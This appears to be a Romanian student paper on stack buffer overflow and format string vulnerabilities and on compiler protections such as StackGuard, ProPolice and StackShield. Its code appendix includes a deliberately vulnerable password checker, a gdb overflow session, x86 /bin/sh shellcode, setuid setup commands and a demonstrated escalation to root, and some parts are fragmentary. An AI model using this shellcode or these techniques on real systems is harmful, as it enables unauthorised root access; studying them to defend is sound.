Decizia privitoare la locul unde sa fie salvate valorile canare depinde de arhitectura sistemului. Pe arhitecturile x86, frame pointer indica spre o locatie generata de GCC si ofera adresa la care sa fie salvata valoarea canar. Aceasta va fi verificata de catre functia function_epilogue inainte ca functia sa returneze o valoare. Daca valoarea canar salvata  nu se potriveste cu cea pe de stiva, StackGuard va iesi din program si va nota acest fapt in system log.
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Chiar daca StackGuard poate stopa fenomenul de suprascriere a adresei de intoarcere, exista totusi metode de ocolire a verificarii valorilor canare. Una dintre acestea este posibilitatea de a suprascrie variabilele locale care pot fi folosite pentru a comprimite protectia. Acest fapt se poate realiza si prin suprascrierea pointerilor la functii sau frame pointers ce se gasesc salvati pe stiva.

2.3 ProPolice Stack-Smashing Protection (SSP)

Fata de alte metode de protectie bazate pe compilator, care plaseaza valorile canare inainte sau dupa adresa de intoarcere, SSP monitorizeaza schimbarile aparute la nivelul stivei.  SSP rearanjeaza locatiile argumentelor, adresele de intoarcere, frame pointers precum si variabilele locale.
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Asa cum se vede din figura, matricea si variabilele locale sunt sub adresa de intoarcere. Daca apare un buffer overflow la nivelul matricei, nimic important nu va fi suprascris. 

De exemplu, urmatoarea secventa de cod este vulnerabila:


Fara modificari referitoare la dispunerea in stiva, un overflow in „buf” poate suprascrie pointerul functiei. Asadar, SSP va modfica codul in urmatorul fel:


In acest caz, pointerul function este pus intr-un registru (daca este posibil). Daca nu exista registru disponibil, SSP pune pointerul functiei intr-o variabila locala. In urma rearanjarii, in cazul unui overflow, nu se va rescrie nimic important.

Chiar daca ProPolice ofera o mai buna protectie a stivei decat alte metode, aceasta nu protejeaza vectorii nu mai putin de 8 elemente. UN overflow asupra unui buffer de dimensiuni mici poate producere redirectarea adresei de intoarcere catre un shellcode stocat la o alta locatie din memorie. 

2.4 StackShield

StackShield este similar cu celelalte metode descrise, dar are cateva caracteristici unice. Prima caracteristica este Global Return Stack, care functioneaza ca o stiva specializata pentru adresele de intoarcere. De fiecare data cand functia este apelata, adresa de intoarcere este copiata din Global Ret Stack in stiva aplicatiei si suprascrie astfel orice alta adresa ce poate duce la compromitere. Cat timp aceasta metoda nu detecteaza atacuri, caracteristica Ret Range Check poate fi folosita. Aceasta copiaza adresa de intoarcere intr-o zona ce nu poate fi scrisa.  Atunci cand function_epilogue este executata, StackShield va verifica adresa de intoarcere stocata. Daca este gasita o neregula, StackShield va iesi din program. Aceasta metoda este simpla, dar impiedica programele sa aloce memorie in mod dinamic. Protectia StackShield asupra pointerilor la functii permite acestora sa indice spre segmentul text, iar orice cod injectat ar trebui sa se afle in segmentul de date. Aceasta metoda impiedica complet incarcarile de a rula cod malitios.

Metodele de a depasi protectia oferita de StackShield sunt similare cu cele din cazul protectiei StackGuard. Prin faptul ca se foloseste Global Return Stack este oferita o protectie suplimentara impotriva rescrierii pointerilor, protectie pe care StackGuard nu o ofera. Adresa de revenire este suprascrisa atunci cand valoarea de returnare este readusa din Global Return Stack, deci un overflow anterior care modifica aceasta adresa nu va avea niciun efect, el fiind oricum suprascris cu valoarea corecta.  

Concluzii:

Atat buffer overflow cat si format string apar ca urmare a unor injectii de cod in locul datelor de intrare din program, atacatorul incearcand sa execute secvente de cod proprii si astfel poate perturba buna functionare a programului. Codul injectat se va gasi la o anumita locatie de memorie si va deturna adresa de intoarcere a unui proceduri catre acea locatie.

Aceste vulnerabilitati nu pun in pericol numai programul in sine, ele devin foarte periculoase deoarece pot duce la escaladarea privilegiilor si implicit la acces neautorizat in sistem.

Programatorii trebuie sa aiba in vedere faptul ca nu toti utilizatorii folosesc programul pentru ceea ce a fost conceput initial, o mai mare atentie asupra datelor de intrare fiind necesara, si mai ales filtrarea lor. De exemplu, functiile gets() sau strcpy() din limbajul C prelucreaza siruri fara sa verifice dimensiunea lor, o persoana rau intentionata va folosi aceasta eroare de programare pentru a forta depasirea limitelor spatiului rezervat.

Sistemele de operare moderne vin impreuna cu software utilitar ce ofera protectie impotriva acestor atacuri, asadar este bine ca aceste contramasuri sa fie cunoscute si folosite, de exemplu activarea StackGuard va impiedica modificarea accidentala a stivei.
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#include <stdio.h>


#include <stdlib.h>


#include <string.h>





int verifica(char *pass)


 	{


      char pass_buffer[16];


      int flag=0;


	 strcpy(pass_buffer, pass);


	 if(strcmp(pass_buffer, "parola1") == 0)


	   flag = 1;


	 if(strcmp(pass_buffer, "parola11") == 0)


	   flag = 1;


      return flag;


	}





int main(int argc, char *argv[])


{


if(argc < 2)


	{


	printf("nu ati introdus parola\n");


	exit(0);


	}





if(verifica(argv[1])) 


	printf(" Parola corecta\n");


 else 


	printf("Parola gresita\n");





}








lucian@lucian-VirtualBox:~/Desktop$ ./exemplu parola


Parola gresita





lucian@lucian-VirtualBox:~/Desktop$ ./exemplu parola1


 Parola corecta





lucian@lucian-VirtualBox:~/Desktop$ ./exemplu parola11


 Parola corecta





lucian@lucian-VirtualBox:~/Desktop$ ./exemplu AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


 Parola corecta





Segmentation fault (core dumped)





lucian@lucian-VirtualBox:~/Desktop$ gdb -q ./exemplu


Reading symbols from /home/lucian/Desktop/exemplu...done.


(gdb) break 9


Breakpoint 1 at 0x8048443: file exemplu.c, line 9.


(gdb) break 14


Breakpoint 2 at 0x80484b3: file exemplu.c, line 14.


(gdb)








(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


Starting program: /home/lucian/Desktop/exemplu AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA





Breakpoint 1, verifica (pass=0xbffff542 'A' <repeats 30 times>) at exemplu.c:9


9	strcpy(pass_buffer, pass);





(gdb) x/s pass_buffer


0xbffff2dc:	 "\031\203\004\b\344#\374\267\005"





(gdb) x/x &flag


0xbffff2ec:	0x00





(gdb) print 0xbffff2ec - 0xbffff2dc


$1 = 16








(gdb) continue


Continuing.





Breakpoint 2, verifica (pass=0xbffff542 'A' <repeats 30 times>) at exemplu.c:14


14	return flag;





(gdb) x/s pass_buffer


0xbffff2dc:	 'A' <repeats 30 times>





(gdb) x/x &flag


0xbffff2ec:	0x41





(gdb) x/16xw pass_buffer


0xbffff2dc:	0x41414141	0x41414141	0x41414141	0x41414141


0xbffff2ec:	0x41414141	0x41414141	0x41414141	0xbf004141


0xbffff2fc:	0x080484f4	0xbffff542	0x00000000	0x08048529


0xbffff30c:	0xb7fc1ff4	0x08048520	0x00000000	0x00000000





(gdb) x/4cb &flag


0xbffff2ec:	65 'A'	65 'A'	65 'A'	65 'A'





(gdb) x/dw &flag


0xbffff2ec:	1094795585





(gdb) continue


Continuing.


 Parola corecta


Program received signal SIGSEGV, Segmentation fault.








#include <stdio.h>


int main( ) {


char


*


name[2];


name[0] = ‘‘/bin/sh’’;


name[1] = NULL;


execve(name[0], name, NULL);


}








su root





#gcc -o exemplu -fno-stack-protector exemplu.c (se elimina protectia la nivelul stivei)





#chmod 4755 exemplu





#exit





char shellcode[]=


    "\x31\xc0"             /* xorl    %eax,%eax              */


    "\x50"                 /* pushl   %eax                   */


    "\x68""//sh"           /* pushl   $0x68732f2f            */


    "\x68""/bin"           /* pushl   $0x6e69622f            */


    "\x89\xe3"             /* movl    %esp,%ebx              */


    "\x50"                 /* pushl   %eax                   */


    "\x53"                 /* pushl   %ebx                   */


    "\x89\xe1"             /* movl    %esp,%ecx              */


    "\x99"                 /* cdql                           */


    "\xb0\x0b"             /* movb    $0x0b,%al              */


    "\xcd\x80"             /* int     $0x80                  */


;








utilizator@lucian-VirtualBox:/home/lucian/Desktop/shell$ id





uid=1001(utilizator) gid=1002(utilizator)





utilizator@lucian-VirtualBox:/home/lucian/Desktop/shell$ ./exemplu


# id





uid=0(root) gid=0(root)





printf ("Numarul pe care dorim sa il afisam este: %d\n", 3354);








Parameter 			Meaning 			Passed as


----------------------------------------------------------------------------------


%d 				decimal 			(int) value


%u 				unsigned decimal		(unsigned int) value


%x 				hexadecimal 		(unsigned int) value


%s 				string				 ((const) (unsigned) 


char *) reference


%n			         number of bytes 		 (* int) reference


written so far








printf ("a are valoarea %d, b are valoarea %d, c se afla la adresa: %08x\n", a,b,&c);








(Pointerul intern al functiei           printf();








printf ("a are valoarea %d, b are valoarea %d, c se afla la adresa: %08x\n",  a,b);








int main(int argc, char *argv[])


{


char user_input[100];


... ... /* alte definitii si declaratii */


scanf("%s", user_input); /* se cere un sir de la utilizator */


printf(user_input); /* Loc vulnerabil */


return 0;


}








int i;


printf ("12345%n", &i);








Void exemplu1 (void (*func1)() )


{


Void (*func2)();


Char buf [128];


..........


Strcpy (buf, gets(„test”));


(*func1)(); (*func2)();


}





Void exemplu2( void (*tmpfunc1)())


{


Char buf[128];


Void (*func2)();


Void (*func1)(); func 1=tmpfunc1;


............


Strcpy (buf, gets(„test”));


(*func1)(); (*func2)();








� Purdue University – „Prevention and Detection of Stack Buffer Overflow Attacks”, pag. 1


� Syracuse University – „Buffer-Overflow Vulnerabilities and Attacks”, pag. 1,2


� Jon Erickson – „The Art of Exploitation”, pag. 115


� Jon Erickson – „The Art of Exploitation”, pag. 281


� Syracuse University- „Format String Vulnerability”, pag.1


� Syracuse University- „Format String Vulnerability”, pag.4


� Eindhoven University of Technology – „Linux Protection”


� https://www.usenix.org/legacy/event/sec08/tech/full_papers/dalton/dalton_html/


� Durden, T.  – „Defeating PaX ASLR protection., pag. 59”


� ftp://gcc.gnu.org/pub/gcc/summit/2003/Stackguard.pdf
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